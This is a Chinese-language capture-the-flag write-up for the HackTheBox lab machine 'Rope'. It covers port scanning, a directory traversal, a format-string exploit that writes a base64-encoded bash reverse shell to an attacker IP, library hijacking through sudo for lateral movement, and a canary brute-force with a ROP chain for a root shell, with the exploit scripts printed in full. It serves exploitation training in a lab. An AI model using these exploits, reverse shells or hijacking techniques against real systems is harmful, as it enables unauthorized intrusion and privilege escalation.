HTB-靶机-Rope

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.148

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.148 -o ./Rope-autorecon

也可以使用官方的方法进行快速的扫描

masscan -p1-65535 10.10.10.148 --rate=1000 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.148
或者
nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.148
nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.148

扫描出来开放了两个端口,分别是22,9999,发现9999端口是个web应用,访问看看发现是登录界面,试了弱口令不成功,使用nikto扫描一把,发现存在目录遍历

 通过上述的目录遍历漏洞,翻看目标的web目录文件,发现是使用httpserver这个二进制文件启动的,使用wget将其下载下来

wget http://10.10.10.148:9999//opt/www/httpserver

具体分析我就不阐述了,文章最后我给出分析详细的参考文章,下面是通过分析完成此二进制文件编写的exploit,大概就是触发目标靶机漏洞然后本地监听端口反弹一个地权限shell

需要反弹的shell要提前进行base64编码

echo -n 'bash -i >& /dev/tcp/10.10.14.3/8833 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4MzMgMD4mMQ==

对应得exploit代码

#!/usr/bin/python
from pwn import *
from requests import get
from urllib import quote

context(arch='i686', os='linux')

def parseMaps(maps):
    binary_base = int(maps[0].split('-')[0], 16)
    libc_base = int(maps[6].split('-')[0], 16)
    return binary_base, libc_base

def getMaps():
    headers = { "Range" : "bytes=0-1000" }
    maps = get("http://10.10.10.148:9999//proc/self/maps", headers = headers)
    return parseMaps(maps.content.splitlines())

binary_base, libc_base = getMaps()

log.success("Binary base address: {}".format(hex(binary_base)))
log.success("Libc base address: {}".format(hex(libc_base)))

b = ELF("./httpserver")
l = ELF("./libc.so.6")

puts_got = b.got["puts"]
puts = binary_base + puts_got

system_libc = l.symbols["system"]
system = libc_base + system_libc

log.success("puts address: {}".format(hex(puts)))
log.success("system address: {}".format(hex(system)))

r = remote('10.10.10.148', 9999)
payload = fmtstr_payload(53, { puts : system })
cmd ="echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzg4MzMgMD4mMQ==|base64${IFS}-d|bash"
r.sendline("{} {} HTTP/1.1
".format(cmd, quote(payload)))

成功反弹shell

不过上述得shell权限较低,无法获取user.txt,根据前面查看/etc/passwd文件得知还有另一个用户r4j,那么按照套路估计是得横向移动到此用户了,首先新建一个.ssh然后把本地得kali公钥写进去,使用密钥形式登录到目标靶机john用户,执行一把sudo -l

得到可以通过sudo权限执行一个二进制文件移动到r4j用户,具体操作如下:

横向移动到r4j用户
编辑C代码并编译
vim printlog.c
内容如下:
void printlog() {
    system("/bin/bash")
}

编译
gcc printlog.c -o printlog.so -shared
scp printlog.so john@10.10.10.148:/lib/x86_64-linux-gnu/liblog.so
横向移动提权
sudo -u r4j readlogs
配置公钥私钥,通过密钥登录

到了此处就可以开始考虑提权为root权限, 此处有些难度,需要逆向分析目标靶机中得一个二进制文件,目录位置是在/opt/support/contact 通过scp命令将其拷贝到本地kali进行分析,具体可参考文章:

https://chr0x6eos.github.io/2020/05/23/htb-Rope.html
https://www.willsroot.io/2020/05/rope-hackthebox-writeup.html
https://0xdf.gitlab.io/2020/05/23/htb-rope.html
https://noobintheshell.medium.com/htb-rope-6e06c00f07b8

对应的exploit代码如下:

from pwn import *
import sys

def getByte(chars):
    for ch in range(0x00, 0x100):
        r = remote('localhost', 1337, level = 'error')
        payload = "A" * 56 + chars + chr(ch)
        r.recvline()
        r.send(payload)
        try :
            resp = r.recvline(timeout=2).rstrip()
            if "Done." == resp:
                r.close()
                return ch
        except:
            r.close()
            sys.stdout.write('{:02x}x08x08'.format(ch))
            pass

def getContent(chars):
    content = ''
    while len(content) != 8:
        ch = getByte(chars + content)
        content += chr(ch)
        sys.stdout.write('{:02x}'.format(ch))
    return content

sys.stdout.write("Canary: ")
canary = getContent('')
print("
[*] Canary found: {}".format(hex(u64(canary))))

sys.stdout.write("RBP: ")
rbp = getContent(canary)
print("
[*] RBP found: {}".format(hex(u64(rbp))))

sys.stdout.write("Saved return address: ")
savedRip = u64(getContent(canary + rbp))
print("
[*] Saved return address found: {}".format(hex(savedRip)))

e = ELF("./contact")

binaryBase = savedRip - 0x1562

pieAddr = lambda addr : addr + binaryBase

'''
0x0000000000001265: pop rdx; ret;
'''
pop_rdx = p64(pieAddr(0x1265))

'''
0x0000000000001649: pop rsi; pop r15; ret;
'''
pop_rsi_r15 = p64(pieAddr(0x1649))

'''
0x000000000000164b: pop rdi; ret;
'''
pop_rdi = p64(pieAddr(0x164b))

write_GOT = p64(pieAddr(e.got['write']))
write = p64(pieAddr(e.symbols['write']))

chain = "A"* 56 + canary + rbp
# overwrite return address
chain += pop_rdx + p64(0x8)
chain += pop_rsi_r15 + write_GOT + "B" * 8 # junk
chain += write # call write function

'''
write(fd, write@GOT, 0x8)
'''

r = remote('localhost', 1337, level = 'debug')
r.recvline()
r.send(chain)
write_libc = u64(r.recv(8, timeout=2))
log.success("Leaked write@libc: {}".format(hex(write_libc)))
r.close()

libc = ELF("./libc.so.6_64")

libc_base = write_libc - libc.symbols['write'] # Find libc base address
log.success("Libc based address: {}".format(hex(libc_base)))

dup2 = p64(libc_base + libc.symbols['dup2']) # Calculate dup2 address

'''
0x4f322 execve("/bin/sh", rsp+0x40, environ)
'''
one_gadget = p64(libc_base + 0x4f322 )

chain = "A" * 56 + canary + rbp
# overwrite return address
chain += pop_rdi + p64(0x4) # oldfd
chain += pop_rsi_r15 + p64(0x0) + "JUNKJUNK" # newfd : stdin
chain += dup2 # call dup2

'''
dup2(0, 4);
'''

chain += pop_rdi + p64(0x4) # oldfd
chain += pop_rsi_r15 + p64(0x1) + "JUNKJUNK" # newfd : stdout
chain += dup2 # call dup2

'''
dup2(1, 4);
'''

chain += pop_rdx + p64(0x0) # Zero out rdx
chain += pop_rsi_r15 + p64(0x0) + "JUNKJUNK" # Zero out rsi
chain += one_gadget # call execve

'''
execve("/bin/sh", NULL, NULL);
'''

log.info("Sending final payload")
r = remote('localhost', 1337, level = 'error')
r.recvline()
r.send(chain)
r.interactive(prompt = '# ')

利用上述exploit之前要先将目标靶机的端口通过ssh端口转发到本地,且需要目标靶机的的一个so文件,然后exploit本地的这个端口进行拿shell

scp r4j@10.10.10.148:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6_64
ssh -L 1337:127.0.0.1:1337 r4j@10.10.10.148
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14622004.html